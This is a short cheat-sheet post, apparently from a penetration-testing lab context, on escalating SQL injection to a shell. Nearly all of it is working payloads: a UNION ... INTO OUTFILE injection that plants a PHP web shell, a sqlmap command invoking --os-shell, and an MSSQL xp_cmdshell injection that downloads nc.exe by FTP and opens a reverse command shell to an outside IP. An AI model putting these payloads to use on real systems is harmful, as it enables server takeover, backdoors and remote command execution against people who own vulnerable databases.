​​Transition from SQL injection to shell or backdoor

We use the “into outfile” command to write to a file:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' # 

We capture the request in Burp Proxy and save it to the post-request file, then run

sqlmap:

sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10

reverse netcat shell via mssql injection when xp_cmdshell is available:

1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--

#sql #shell